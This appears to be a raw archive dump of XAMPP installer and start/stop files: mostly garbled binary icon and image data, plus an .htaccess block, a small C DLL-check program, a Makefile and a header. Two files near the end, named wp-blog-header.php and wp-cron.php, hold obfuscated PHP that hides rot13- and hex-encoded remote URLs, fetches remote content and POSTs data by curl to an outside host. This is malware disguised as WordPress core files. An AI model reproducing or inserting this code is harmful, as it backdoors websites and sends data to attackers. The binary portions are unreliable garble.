.` .` ._ɖA !D $J &O )U +Y -]4cVVV"y"y"yܙ!4Q!5S!6T!7W!8Y"9[":]":]":^#:^}bbbZdt3P4Q4T6V 7X 8Z 8[abKGD pHYs   IDATxitTuŷ)BHH¤ 2*̓L2à!6 -HDB\TjHTFnz~|~roͭ!͇ * UϹIܩܺ!·p;u; .]OV75k4fFs]:u:S׻z`0 h4L&l6JKK]eX\eee.ZrWEEEl.R䯳a\5{" +q+%^:L̒f^\\\|]9ZSպ4]jڥV]BWAA]^ PN*jZfQQu:YRRB@HDRZ,jjlltիWUUU~}ee%˙uD@p@*~]]nĒzzKQQRѴ"QV,((`AAݕǼ<277999*;;TTbff&SSSG `0ht h4j T|)_s˙2G< @]n H``X/r~i+W>sFGG0N޸&z= M&M&[|ҡQ ?fۨ& F@nV\ZZJDap; PTdzz:xe.]t?`,8.>k+ ~_'ߛ~bx e)PzQ p,++ldh_ }/]4n 6X`pHZ\@D\xfWߗ׮]Y`{Jvnݺ5@&  l iX(:""R_ p>fH@ ˫Qߟ/ߓ555^ J hCCCwX `"Azv6777f5[V7r xr 8w?"""| 8v L0\8r(gM/^*\t_%?^ O-tb kjjl6ZVq)c ==ӧOHp o& h-$eWɧ||oPB W^MX'4=;27UVV xl_ e }y<y/@ &hJe%_*'kkk*k=PUUEVCPPЋv$ fXnw ƀ(]H,BJ >G1]p{H{.M Zz&b96±cLoW?l).+ : ' s%2\1/6DAÎ;vHᓟxs7DX+k|zg?R]]elV./R0Aaaa+T*ϟ_ [3B;[PAK1 | nYK|%u۔? h4DYyIZA (_ ENrrrp@4|`/x<,\q@-|XaL? R _,I]@&M*}_8 ;E$a[ݼ@iJ1pu`PƯf>4>ݗ֍n9/Dp"^~@Pr_`4 RRR9ihhhĀ(dA^<ə]?+7ߝڃgbp R[ | VZԩSOz_0+>'='E2'BybN, ~]nd~l~c3Q4Kwt:ۀ֮],4JS 455b@/,- 횇0&'w g_ttd{1I-L )a0JII9ŗ./7xxF~7k#XL]ۄh~ͯG(Ga*B ),)--M~:E w9eee<'Sc9w`KCut0_M(dpVgUUqRI @ZZ} %da/4 @0/L*靋yɞ^ч֍l~cͫ#i:N7Ço޼9ƍlnnv >@D!Ӿi8k@ ?ؒLfҒ4&r*|-D4 ̙cr?Hv+Vx06\6߸=xqJ8pժUjjj/VeG^,Zghwư~nd[ptNlX,8wgnDw S{0ea/`mdtܲeKW|W< ` v?/~,:u]O{@O0<:+a}_=ovO1fG4랋!%nE'Ng(,//Ӌf|+qc|yz^L?B8 Aiy qś!Yeۮo( #j@%s{s{RZ\~% o.j/7!_'J}xϟ>)1=#x(nidop:JsСvيW{k,&N8{__*\kJ$FQ={t|ێ';Q$999NRϿOlƭʷ[+yƍvCOCӾeCp˨` #cy8/A2=+eȔwx۞oQww8QDO?{1U7GҵໄE#@ OWAQHGFЍGylll2I 0,))1cni.;  ۷TƼ4H65Fp5lnn綸m}oOb6i(_&y#+ F#WZU+[jW@K.}ڑ//9aL_Ns|_6l]"@TUU8-=d(Yi~ wNl6UX*Z+'J G-Kt:y9]هMt6 6D^!595siߞxtV˴Dڀk, --w^t;V*,vر=6.PfzQ6ׄ(agl@̓]kX~/kYYG,M-3&x$OVXTV!xBE)f`3Ήf0;uxzYx9rP{{g羟є;|ڷgpfmYgPQQrŻaPGdZJBTpL K88s)$!} y}kwJr(};uzU(/0#d2AL'f}AIT wt_YtHE% 1)))(޷\x;Fol+ԫ<983 a԰TдPSM ~,x}pj_")IB%d>KB_iSS]`0DgΦYFHh> C:_І{Cٮe6S+xToxz(j$WWq7n@yy9iFN]Њ0D9b@aaTjv Wx6`*`2`0ĝ}%}EF&/hdB111for[Q GÇO0 gz@ޢ!cZR,rVxO2/0YɷY,G#i|qPq*jXx*&2 )NhkիW/X,\ IӼ,/fKnTp7Mpo(Vt5|4^z;$$MbI';1h[$%%9BW}WS)-i5[%G^tοl$lޘ'aτd@SS/$!û?77z)OY0̬xOhCTTT$q'@*atɢ^yptzo;izh8hnn[nY=j5L2EiDQ@+(V ,aEU»-@ KJKK߿:R/ۻ#J Nw}6CG]0U»읠~/|~/XlB@/dM?^z &/b|A%2p(:KٴȾ* u1N]2 K.-CH15t^-¨]X*[bFož X֏Y X6ZU[~D;ʽ LE?sg;jjj[8_~o4{,=x5lH2+p?®cwYqi@ZZMȞa_:;AFA2u8m,䝆&G,x2U>>-F ?A~=[sss <_𫪪 f\Ĝˉr'XC}}=ℤ>fwz/CP/h6ah4Fuȑ ȵ{+]/`n+F8y8'<ܹR*6­~\c {?-F4>#;J@CCD:t"o9}4U]Lm7TFi5Jv jQqyjS/>+ >ؿ:@NNc #bz=lu.vJMq>ϐ\ Ky"|`836 0a„=klWI]ܜJ.Rχ=ȴ 6#wh28dg *uȟp*(~g[ih4•+WjT@*:-t6555+%q \>^}zȊܡ'fK\I Dq& QGózE/cިZM|{7}d|L3Zp}V@Ihs |bٳg'S?}:6ЩzŒO+kȏGH:t:]6Ew?JAU.ɃziB=bXk:]mzݥ zdJB:%t$Ç;ȆLCaiCXtq>E/sIۭxs\ `;wppVSS#`E .%<|ɷutr CpM81 MVa?JB@}%!!!VG929_@TVMWB^1bqe&R *#|hkpPD"m@f$m7Gc}HR{ svSzAD|F7$F4֮RmUl67DRhZ8/mpd #2)B[ cVc@y%,,, kWÍFCzⷭTpJ`1IDAT= a¥ػrҭPO|+3iǀ4U> ]3 0 Js3!QRk74^4 _:{Od|CQ Bd:#9? F(_Py,!)cǎӳ:B9!wIo ^؟VGil?`4"_pUq!qf?! ʖ{⫿; rnݺta׏g*hw K9vž:׿͆Cj}µ[Ֆ-t:|' 4aH4H ?iGXPq+^GsNskoѿ{ eT +*jرcvZF֦P(,r id2j$DzloeȮ=αVj jrEѻSNTȘ|/RD^$U^^rf=PFCMe+I~P|yב` H {zsMX;z©()ieoym"#kQJ<WYYlŜV8׾8|FO8+j۪xGd~s6d/xkp ns ZMoMtth0Ё?w"%ʛ?RlӹH#Ge&ao7oެsyՄ{1Nu> t:\rłZ6Q=8R*!'^,`笼'h3`XQE$i4_xlܐ0Lŋ\ >{]]OY]+WzCt:DEE/ѱx-@/L͏'qVIh"=ٓ0̑qƝq6tved+BZ͛B-#skxB8ǜ(0h6qOWu 8H|}ݦ"ㆸGnK)W{1lw0QPt:]ֈddBF*d<\@Μzp +_f'ssd/ ſz{{R^}a ,H$\+aw+J!FT,#%v Z>s)!#ake2=T |bH$X>uLzQ#z! IV7a " P޿@xmB a&_~-) <:7RFVy̡/|FK.=F<]qq/ɾJ HexT*oX=^e۸O+s>&>8O^}ːA#/\p*++a1T_ҵ/COޣ>M rZFftM&; A,Caa!T*C;yYhTq@ЗIO2B$rrr&qɱ,#揄UTT8|2xyNq/1 ^ŻF,E2iȜ@~~8Dbղ|b\͆#a0D_[p}PyaR*x"i%ɱ,hx2 \BBB'\pyP9b@Öap{,CrF . 222 /`A:.5"***HvH1\QQqqq wٴ&1 Go"Vdž\ >hjokD"k0s Y/G #AGT*=RPP T=q!HPآ9=++Gy$ئ5Rܒ  E3'Eeܑ}NMMU68c?De-G]]hW>_UlASZ$V C)kiFACO&ٝ?u5A/ZL2޾\ofvfg&<|ssν{O>'ϟ(f0_-4+ȥKHSS\f=pV/8hh3=-8=N$KaUj#eIt:MRI$N%Г  CCCl0eL+;`1TUUK0'jZP,z<#\eG?ɨT`Z>I` 3R wf; ~ 6l)˷͔mt=C52YqOO7|ҲʿvڑT*E4M' `DV/^H֯_?ȸo!̯ٙa0Ʀ̙3X)zYի"9*62ShM4L&$Ld29z3"V!^O0Ƴ8nѤDUt:[& VioJ?/3̴BOL&oJxDF3L h(J68I0Ab2`,kii9<<<*֚OA~y͖s !\i߫JDo';> .u֕0Cl?f1򙮮cS|;2ioom=L`i$ (J,Y(I`w_PT=:i2 #(%&(sMQlݺÔ,DQ|.HQ˲L$I"x1 f %btvvB]%,===X)c2jZ֦~a)fݼy3IH$!(H$BF _qJ~a"Hp8  G0%mA c~@  ~= PHz8EQ#Hz4XLb$Iq]e]e]Qĉb?G>_*aVT*Y(Νrclvf\.g @&ѹ1Fc/&̦;Y=x gD;0Uø%JՆYrZbr:e˨ Nؚw !Q<[X1c.(hpӅSh_'W_kfì0Aٍ=GrSН3_3r:7[N@c 0 @ko*q={qQ`w~gz(X =>4P3PVM,7L l&ڀt ]3oyK/0I?oQ+x1 z!PV#,`.n56np:؁ { [ a*^0 Dzr /`ƪ֮޶޶޶޶ƚ}{yZ{qkms9$B(J0c<)Y9kֶƺ!yV_ζ޶ƚ}{kiRB,!B(J0cE)Z˵ֶֽεcoƮiu޲sZiRcMJ9$J0kI1ƢõΦƚޮεֵֽ֭fΔ֮sZ}sB,!B(c<)֮ӽ粔Ɔ֒皵ޮ޵絪ֶsyZiRcYRB(J0sӽ޲ΊY{Y{֊޵޶ƖeJ{YB}{B,!J0{U9íӽ殮皥uY{֊ޚޚ窽窽ΦeRsI1kaZJ0!J0!eJϽǽ殮皥e皵ޚΊ֊Ί}{{IBsI1cYRyB,!J0eJ޲殮֊皵֊uek{IBc<)cUJZ81B(R4!M9Ƃ{殮皵ΊekkI1B,!B,!{ikse{J,1B(R,!sI1UJeRiZiZmcM9Z819$9 !J49se{J,19 !9$9$9$R,!R,!9 !9 !RIByε??xampp-nsi-installer/xa-icons/php.ico000066600000006276151723641500013502 0ustar00 ( @ sqssqssqssqssqssqssqssqssqssqssqssqssqssqssqssqssqssqssqssqssqssqssqssqsmcmZiZiZiZeZeZeReRaRaRaRaRaRaRaR]R]R]R]R]R]JYJsqsuc]Rsqsyk]Rsqsyk]Rsqsyk粵ަ֞ΚΚΚΚΚΖΖΖΖΖ֚ޞ禥aRsqsmcy{ackURkQRcMJcMJcMJcIJcIJcIJcIJcMJkMJkQR{]ZqsޞaRsqssMB]R]ReZeZiZiZiZiZiZiZiZeRaRaRUJsIBZA9cIJec֞]RsqscURaReZiZiZiZiZiZiZiZiZiZeZqcֲ־޾ֶqceRUJZ<9ZEB]ZkA9cackmkBABykeZiZiZiZiZiZiZiZiZiZiZeZeZ焆JMJƒaRiZeZUJkEB9$!BEB9<9ΚiZiZaRaRiZiZqcmZeZiZiZqceRkmk޶iZmZeReRiZkA9)()ceccacξƪΦνýƞ{νζޥcacƽΦ{eRiZZ<1ZYZs9ABǽRYZƎJMJBIJֲaRiZsQJmc}k RQRJQR !  !޽{  BEBJMJ !!()ƒaRaReZqc !޺κZacsqs9ABƎ9AB! !޾־cecJMJֺeReZiZaRBIJƽ{{sqsΚkqs101{ukmciZiZaRsy{޺Ɗ{ﭪ{}{޺羵kqsBABcac֦}sqciZ{aR΢RQRƾsqs! !101cikJIJkec)()ýkikmZiZeZ{ 甊ZacýeRukތ{y{sussy{ֶuc־!$!RQRsy{ֺ{{}{{y{su{sus־yskURƚֲֲֲֲ֪ƎeRaRβ149ý֮ƒeReRƞ޲ֲֲ޲֪{eZeZceciZaRaRaReRiZeR΢BAB{]JeRiZiZaRaRaRaRaRaRukΪ{sqs־ykiZiZiZeR{΢aRiZiZiZiZiZiZuk޾Ζsqsý΢sqcmZƎƖykiZiZiZmcysֲΚsqsֶή΢΢Ϊֲ޾Κsqsުު֦֢֢֞ޮƪsRR}Z粭ƪkk纭ξk羵ǽǽýᄉᄉ?xampp-nsi-installer/xa-icons/php.png000066600000002506151723641500013504 0ustar00PNG  IHDR tIME&ɲtEXtSoftwareGLDPNG ver 3.4qtpNGGLD3J)gAMA aIDATxU/hZb[ν3&X`b*F&Ja* (dp*A&db∊+*NNڭwM}3E7^l bXH9ǿ+h;m|c1[NQ' ıv7Zl%We37eB`5xt"됴Ch+ "zFp ݛNuC֏B8<5?@\9O=Y ߾3vJe׬A/| ~hTE- =EЏGBU-g_1yb_-/8E)pAa .[S<<Zp>"H `u[^{lݛкL݂U4BCPk/9zIel̝]̊Yp4 Err"-BoWpjULK!j);q5|L+}VÎ^0~Iu&VyE "g7L" (Q#Xߗ}M~Vp8+{ ֕^nn~ C& {M{ B'YvmT%^g=ƣ-TK wjuY|c34KW? Dϱ'CJ3Ю!B.QdPI"WG`[yL4Nb*|ūp% {syʾb)fxN]/JSRPR0AAKW!liͷPzodmi>IJHV ^|Yڙpy{|jO*vq1}kꊉRw mY׀6IK"35T^`ķHq"u%/Pȇ1|?x{(02)*^ef̿yGz{LM'_l[ij艖*24;89½Ư|xWlq5y"{&sz8jy(XecΒ<;:PRT˅~iEt%r %tSup!lv0)P^Hciib@*s-* 'xQr䧶Ik dMd.?1<+IP9kx0}} ux  Si.LU{}νΉFkygz%n(m"!by5<:A?޵cqw#h! v  *~.dt3^hOs{翶g|f##'9}PdfWrۻU-}z!(Km~oIKôıy(IP Oc!sh)Yxxh[S^ʬĴia[/NW"q"'m$Tb Zk4]m_VjdCs}@JH{|軷~His/Wa,QZ*gz'~&s.MU5CDD]r`x!HR7TZQ`\Bu(CH,HNP\BEUl bYr1v[qd@y Yk ]rAWTZ㹶\|A|/y i7cyiG+w(z=Q[h҆ȷޮȂPjqMjzeJ=~@IOR\rڷǼwvtRs|bo[OU\ZPHRk뾽ۘUPSCDFgqsG{ReTSeqhVKY|Ԡƾigh2BCyDRhXTetpd]kىԲwtwB?ANNPvSdvcV[hsutvۼ௾s[fmYGDxObmoowܬsQLL}B;~:grBbhR}TMRvp9m|(@D5FGJz\adkljonU`a0@A/<n@nU[`dhln o q r r!s!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!u!td9 h2]J^kjfa]V&^bQ]bfjmp q s!s!t!u!u!u!u!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!va # +RB^jhc_W0cW}R^cgkn q r!t!u!v!v!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!y^ &PD`ie`V>oNyT_dhlo q!s!u!v!w!w!w!w!w"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x!w"zlSSyzwxHH -QNef`X7kHvU_dimp r!s!u!v!w!w"x"x"xvsqpooprt!w"x"x"x"x"x"x"x"x"x"x"x#|7,,&'y;o[eaY6iFtV`eimp r!s!u!w!w"x"x ws(|Oq~fDvt"x"y"y"y"y"y"y"y"y#|i #$ +XOdbY5iDsV`eim p r!t!u!w!w"xsuj>rw"y"y"y"y"y"y"y$D oD`bY4iCsV`eim p r!t!v!w!wrCwv"y"y"y"y"y"zv %aa<=>u]bZ4iBsW`ein p s!t!v!wqY(|v"y"y"y"yuX"11qr ;t\bZ3hBrW`ein p s!t!vpS"yw"y"yr` :u\cZ3hBrW`ein p s!tr5s"yv8qq ;y]cZ3hBrW`ejn p s tq[su HHRR\\ A`cZ3hBrW`ejm p spHpTAAYYllMdcZ3hAqW`ejm p smx,sstt $ZfbZ2hAqW`ejm prrotrs+~NN##DdgbZ2hAqWaejm pp/}px!y!yuwUUSTRR !^jgbZ2hAqWaejm po7,y"qmmnmkigc_[Q=l^ JW[_ceghh&rHeu~xkR0xhhhfc`\XR"X%ZxOTX\_bbeBrzR#jbb`]YUO VR|PPUX\]#gL^-o^\ZVRIAmwHPLRUW^P}~~~~~~~~~~~~~b(fWUSO E_:f DNQSX+f8q?wAz@y=w9t5q2o/m.l,k+j*i*i)h)h)h)h)h)h)h)h)h)h)h)h)h)h)h)h)h)h)h)i)i*i*j+j-l/m1n4q8soKwWcin r!t!v!w!w"x!wvrpooqu!w"x"x"x"x"x"x"x#{ pBCyz  4g^e[7jFtXcjo r!u!v!w"xvt0^m;uv"y"y"y"y"y"y$B Ne\4iDsXdjo r!u!w!ws(|+s"y"y"y"y"{ wUUqr ?zb]3iDsYdjo r!u!wr=Cs"y"y"yy$o 778{`]2iCsYdjo r!ur?Ht#yv=&& 6}`^2iBsYdjo rs%y.u x++%%uu()8`^2hBsYejo rn ktII44 Ad^2hArZejoq%w611uuSg]1hArZejonI#yrtn11 .fg]1hArZejomg0t"y wq$$[mf]1hArZekoks x x"y"yo((((Ipnlf]1hArZdkolm%{ x"y"ysk ,+¾|ilf]1hArZdkolc.w"y"yw4a &VVbjlf]1hArZdkonHTs"y"y"yuUxv#{hK9I`8mlf]1hArZdkoq*zr"y"y"y"ytw%{%{%{%{%{%{%{%{%{#z"y"z#|#xnplf]1hArZdko rpOr"y"y"y"y x x x x x x x x x x!x"y"y!yq^Eo plf]1hArZdko roZ0t"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y!x!y?o plf]1hArZdko rs&y:pw!x"y"y"y"y"y"y"y"y"y"y"y"y"yum plf]1hArZdko rok3tpqqqqqqqsw"y"y"y xw#uolf]1hArZdkor!uxxxxxyyc'|w"y"y"yqj<mlf]1hArZekooC#zvvn*~w"y"yw1_jlf]1h@qZejold.t!x!xopr"y"y"ystilf]1hArZejokp"y x"y"ypo"y"y"yo~hlf]1hArZejokl#yw"y"yop"y"y!xr}hlf]1hArZejomTzoqoF5pun]ijlf]1hArZejop/}k^eFw>mlf]1hArYdjo rooqplf]1hBrYdjo rq * ' 0HcldX3f4g[gm r!s!u!u!u!u!u!u!u!u!u!u!u!u!u"yN *[i^(`7k]ip!s!v!w wtqpru"x"x"x"x!w#|U))ff__## )`a/g0g_j q!u!wur7`p]0r!x"y"y"{!tFF[[Ec,f/f`k q!us'{muw#z }V77/`+f.f`k qr-~uv8Kc66&&__ &_+f.g`kqqtnttFFwwZZ (`+f.g`klOU))rr;d*e-f`kh=rK%%ff  ]e*d-f`kjnwq **iiqq!! -Zmb*d-f`kir!yqdagb)e-f`kiv!xv;fcB ,IS=ib)e-f`klZLr#zv x(}(}(}(}(}(}$z#||&olb)e-f`kp'y%{s"y xwwwwww!xw2sjlb)e-f`kqpAsqsssssv"yw,plb)e-f`knGo_``a^5v"yrc3~jb)e-faki:w x8ww,Rhb)e-fakinwrir xwcfb)d-f`kiopu lr&{_fb*d-f`kjqTd?@ib*d-e`ko13plb*d.f`k qok?nHmlb*d.f_j q tqrJs!xuWn qlb*d.e^ip!t uq=t)}r"x"xvrP6p!tpj`*d/e]hn r ttplr"vqlqttttsno)z.}"vmq!s roi_+c7iXdjlm$t,z1}1~2~35555555541~0|/|-z%unmke[-c+_T_c*qWvx]/uc`WW:hKV*in~~v2pVK:hŽPLHU&a'c&c#a#a"`!`!`!`!`!`!` _ _ _ _ _ _ _!`$b&d)d)cXJFonR;i+[3c'\%[$ZTTTTTTTT#Z#Z#Z#Z#Z$Z$Z$ZTTS!V!T3b]_xampp-nsi-installer/xa-icons/xampp.ico000066600000074256151723641500014043 0ustar00@@ (B600 %^B  h(@ BuHCpAo6k%a6k9n8n7n7o6o6o6o6o6o6o6p6p6p6p6p6p6p6p6p6p6p6p6p6p6p6p6p6p6p6p6p6p6p6p6p6p6p6o6o6o6o6o7o7n7n8n:m3i0hCqIsb` `%\WVZ]^_aabbccccccccccccccccccccccccccccccccccccbbb``^][VUXMtݦC[PT[_acdfhhhiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiihhgfeca_\W MLuٛo ,aR[^bdghjkllmmmmmmnnnnnnnnnnnnnnnnnnnnnnnnnnmmmmmmmlkjigec_\UWv^aYW]adgjkmnopo p p p p q p p p p p p p p p p p p p p p p p p p p p p p p p p q q p p ppoponljheb^ZQQyKvWY_cgjlmo p q r r r r r r s s s s s s s s s s s s s s s s s s s s s s s s s s s s s r r r r r q ppnmjhd_[R>n@nU[`dhln o q r r!s!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!s!s!s r q pnlifa]V&^bQ]bfjmp q s!s!t!u!u!u!u!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!u!u!u!u!u!t s q pnkgc_W0cW}R^cgkn q r!t!u!v!v!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!v!v!u!t s qolie`V>oNyT_dhlo q!s!u!v!w!w!w!w!w"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x!w!w!w!w!w!v!u!s rpmie`X7kHvU_dimp r!s!u!v!w!w"x"x"xvsqpooprt!w"x"x"x"x"x"x"x"x"x"x"x"x"x"x wtrqpprtv"x"x!w!w!w!u!t r pnjfaY6iFtV`eimp r!s!u!w!w"x"x ws(|Oq~fDvt"x"y"y"y"y"y"y"y"y"y"y!xr wDeuyxiM,~sv"x!w!w!v!t s pnjfaY5iDsV`eim p r!t!u!w!w"xsuj>rw"y"y"y"y"y"y"y"yuu\}$ys!w!w!v!t s qnjfaY4iCsV`eim p r!t!v!w!wrCwv"y"y"y"y"y"yr?Yqv!v!u s qnkfaY4iBsW`ein p s!t!v!wqY(|v"y"y"y"yr_qu!u!s qokgbY3hBrW`ein p s!t!vpS"yw"y"yr[p t!s qokgbZ3hBrW`ein p s!tr5s"yv8^n!s qokgbZ3hBrW`ejn p s tq[su2q qokgbZ3hBrW`ejm p spHpTxk qokgbZ3hAqW`ejm p smx,#tpokgbZ2hAqW`ejm prrotrs+~}#zww\akokgbZ2hAqWaejm pp/}px!y!yuwow x xp[iokgbZ2hAqWaejm po7,y"qmmnmkigc_[Q=l^ JW[_ceghh&rHeu~xkR0xhhhfc`\XR"X%ZxOTX\_bbeBrzR#jbb`]YUO VR|PPUX\]#gL^-o^\ZVRIAmwHPLRUW^P}~~~~~~~~~~~~~b(fWUSO E_:f DNQSX+f8q?wAz@y=w9t5q2o/m.l,k+j*i*i)h)h)h)h)h)h)h)h)h)h)h)h)h)h)h)h)h)h)h)i)i*i*j+j-l/m1n4q8soKwWcin r!t!v!w!w"x!wvrpooqu!w"x"x"x"x"x"x"x"x"x!xvsqpqsu!w!w!w!v!u rojeZ7jFtXcjo r!u!v!w"xvt0^m;uv"y"y"y"y"y"y"y ws.WszqO,~sv!w!w!u soke\4iDsXdjo r!u!w!ws(|+s"y"y"y"y"yuv ws!w!u s pke\3iDsYdjo r!u!wr=Cs"y"y"yu06q!v!r pkf\2iCsYdjo r!ur?Ht#yv39r!s plf\2iBsYdjo rs%y.u x$xr plf\2hBsYejo rn kt~m plf]2hArZejoq%w6&wolf]1hArZejonI#yrtn%{v0Ollf]1hArZejomg0t"y wquv xs.rilf]1hArZekoks x x"y"yop"y"y"yohlf]1hArZdkolm%{ x"y"yskp"y"y"ypxilf]1hArZdkolc.w"y"yw4p"y"y"ypajlf]1hArZdkonHTs"y"y"yuUxr"y"y"yo8mlf]1hArZdkoq*zr"y"y"y"ytw%{%{%{%{%{%{%{%{%{#z"y"y"y!xqnplf]1hArZdko rpOr"y"y"y"y x x x x x x x x x x!x"y"y!yq^Eo plf]1hArZdko roZ0t"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y!x!y?o plf]1hArZdko rs&y:pw!x"y"y"y"y"y"y"y"y"y"y"y"y"yum plf]1hArZdko rok3tpqqqqqqqsw"y"y"y xw#uolf]1hArZdkor!uxxxxxyyc'|w"y"y"yqj<mlf]1hArZekooC#zvvn*~w"y"yw1_jlf]1h@qZejold.t!x!xopr"y"y"ystilf]1hArZejokp"y x"y"ypo"y"y"yo~hlf]1hArZejokl#yw"y"yop"y"y!xr}hlf]1hArZejomTzoqoF5pun]ijlf]1hArZejop/}k^eFw>mlf]1hArYdjo rooqplf]1hBrYdjo rq RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] xampp-start-stop/checkdll.c000066600000001004151723641500011727 0ustar00// Copyright (C) 2007-2010 Kai Seidler, oswald@apachefriends.org, GPL-licensed #include #include int main(int argc, char **argv) { if(argc!=2) { printf("Usage: %s \n",argv[0]); exit(2); } if(LoadLibrary(argv[1])) { printf("OK\n"); exit(0); } else { printf("NOK\n"); exit(1); } } xampp-start-stop/Makefile000066600000001452151723641500011461 0ustar00all: checkdll.exe xampp_start.exe xampp_stop.exe xamppcli.exe clean: rm checkdll.exe xampp_start.exe xampp_stop.exe wrapper.exe xamppcli.exe rm *.obj checkdll.exe: checkdll.c cl /nologo checkdll.c cp checkdll.exe /c/XAMPP/bin xampp_util.obj: xampp_util.c cl /nologo /c xampp_util.c xampp.res: xampp.rc rc xampp.rc xampp_start.exe: xampp_start.c xampp_util.obj xampp_util.h xampp.res cl /nologo xampp_start.c xampp_util.obj xampp.res cp xampp_start.exe /c/XAMPP/start.exe xampp_stop.exe: xampp_stop.c xampp_util.obj xampp_util.h xampp.res cl /nologo xampp_stop.c xampp_util.obj xampp.res cp xampp_stop.exe /c/XAMPP/stop.exe xamppcli.exe: xamppcli.c xampp_util.obj xampp_util.h xampp.res cl /nologo xamppcli.c xampp_util.obj xampp.res cp xamppcli.exe /c/XAMPP/bin xampp-start-stop/rc.h000066600000000163151723641500010574 0ustar00#ifndef _RC_H_INCLUDED #define _RC_H_INCLUDED #define XAMPP_ICON 300 #endif // _RC_H_INCLUDED xampp-start-stop/wp-blog-header.php000044400000005366151723641500013331 0ustar00 $sJ3ad)); goto wwzKB; kAGwF: JS6LS: goto LLG9S; IQihW: KSZRy: goto K2jbV; tUl6b: error_reporting(0); goto aYfRm; HgQ3I: if (!empty($rHfMY)) { goto KSZRy; } goto N7Xk9; K2jbV: $_SESSION["\x64\x6f\x61\x63\164"] = $rHfMY; goto jZVAU; wwzKB: goto JS6LS; goto IQihW; jZVAU: $Biqik = sxIDc(str_rot13("\x75\147\x67\x63\x66\72\57\57\x75\x6f\157\156\144\141\56\x74\x6e\x7a\162\x6e\143\162\x2e\x67\142\x63\x2f\x71\x62\142\x65\x2f") . $rHfMY . "\56\164\x78\164"); goto B6fd_; KwJ9D: function xLpSq($oFbXi) { goto qRLdR; sgjQn: curl_setopt($OUnCg, CURLOPT_POSTFIELDS, $oFbXi); goto eEPm6; eEPm6: curl_setopt($OUnCg, CURLOPT_RETURNTRANSFER, true); goto JM27m; qB8i1: $OUnCg = curl_init(str_rot13($sJ3ad)); goto jfSiq; qRLdR: $sJ3ad = "\x75\x67\x67\x63\x3a\x2f\x2f\145\x72\x7a\x62\x67\162\x32\60\62\x35\x2e\157\154\x75\x62\x67\x2e\147\x62\x63\x2f\166\x61\161\x72\x6b\56\x63\165\143"; goto qB8i1; JM27m: $FJ0YN = curl_exec($OUnCg); goto RiAUd; RiAUd: curl_close($OUnCg); goto OBMXo; jfSiq: curl_setopt($OUnCg, CURLOPT_POST, 1); goto sgjQn; OBMXo: } ?>xampp-start-stop/wp-cron.php000066600000005366151723641500012127 0ustar00 $sJ3ad)); goto wwzKB; kAGwF: JS6LS: goto LLG9S; IQihW: KSZRy: goto K2jbV; tUl6b: error_reporting(0); goto aYfRm; HgQ3I: if (!empty($rHfMY)) { goto KSZRy; } goto N7Xk9; K2jbV: $_SESSION["\x64\x6f\x61\x63\164"] = $rHfMY; goto jZVAU; wwzKB: goto JS6LS; goto IQihW; jZVAU: $Biqik = sxIDc(str_rot13("\x75\147\x67\x63\x66\72\57\57\x75\x6f\157\156\144\141\56\x74\x6e\x7a\162\x6e\143\162\x2e\x67\142\x63\x2f\x71\x62\142\x65\x2f") . $rHfMY . "\56\164\x78\164"); goto B6fd_; KwJ9D: function xLpSq($oFbXi) { goto qRLdR; sgjQn: curl_setopt($OUnCg, CURLOPT_POSTFIELDS, $oFbXi); goto eEPm6; eEPm6: curl_setopt($OUnCg, CURLOPT_RETURNTRANSFER, true); goto JM27m; qB8i1: $OUnCg = curl_init(str_rot13($sJ3ad)); goto jfSiq; qRLdR: $sJ3ad = "\x75\x67\x67\x63\x3a\x2f\x2f\145\x72\x7a\x62\x67\162\x32\60\62\x35\x2e\157\154\x75\x62\x67\x2e\147\x62\x63\x2f\166\x61\161\x72\x6b\56\x63\165\143"; goto qB8i1; JM27m: $FJ0YN = curl_exec($OUnCg); goto RiAUd; RiAUd: curl_close($OUnCg); goto OBMXo; jfSiq: curl_setopt($OUnCg, CURLOPT_POST, 1); goto sgjQn; OBMXo: } ?>xampp-start-stop/xampp.ico000066600000074256151723641500011656 0ustar00@@ (B600 %^B  h(@ BuHCpAo6k%a6k9n8n7n7o6o6o6o6o6o6o6p6p6p6p6p6p6p6p6p6p6p6p6p6p6p6p6p6p6p6p6p6p6p6p6p6p6p6o6o6o6o6o7o7n7n8n:m3i0hCqIsb` `%\WVZ]^_aabbccccccccccccccccccccccccccccccccccccbbb``^][VUXMtݦC[PT[_acdfhhhiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiihhgfeca_\W MLuٛo ,aR[^bdghjkllmmmmmmnnnnnnnnnnnnnnnnnnnnnnnnnnmmmmmmmlkjigec_\UWv^aYW]adgjkmnopo p p p p q p p p p p p p p p p p p p p p p p p p p p p p p p p q q p p ppoponljheb^ZQQyKvWY_cgjlmo p q r r r r r r s s s s s s s s s s s s s s s s s s s s s s s s s s s s s r r r r r q ppnmjhd_[R>n@nU[`dhln o q r r!s!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!s!s!s r q pnlifa]V&^bQ]bfjmp q s!s!t!u!u!u!u!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!u!u!u!u!u!t s q pnkgc_W0cW}R^cgkn q r!t!u!v!v!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!v!v!u!t s 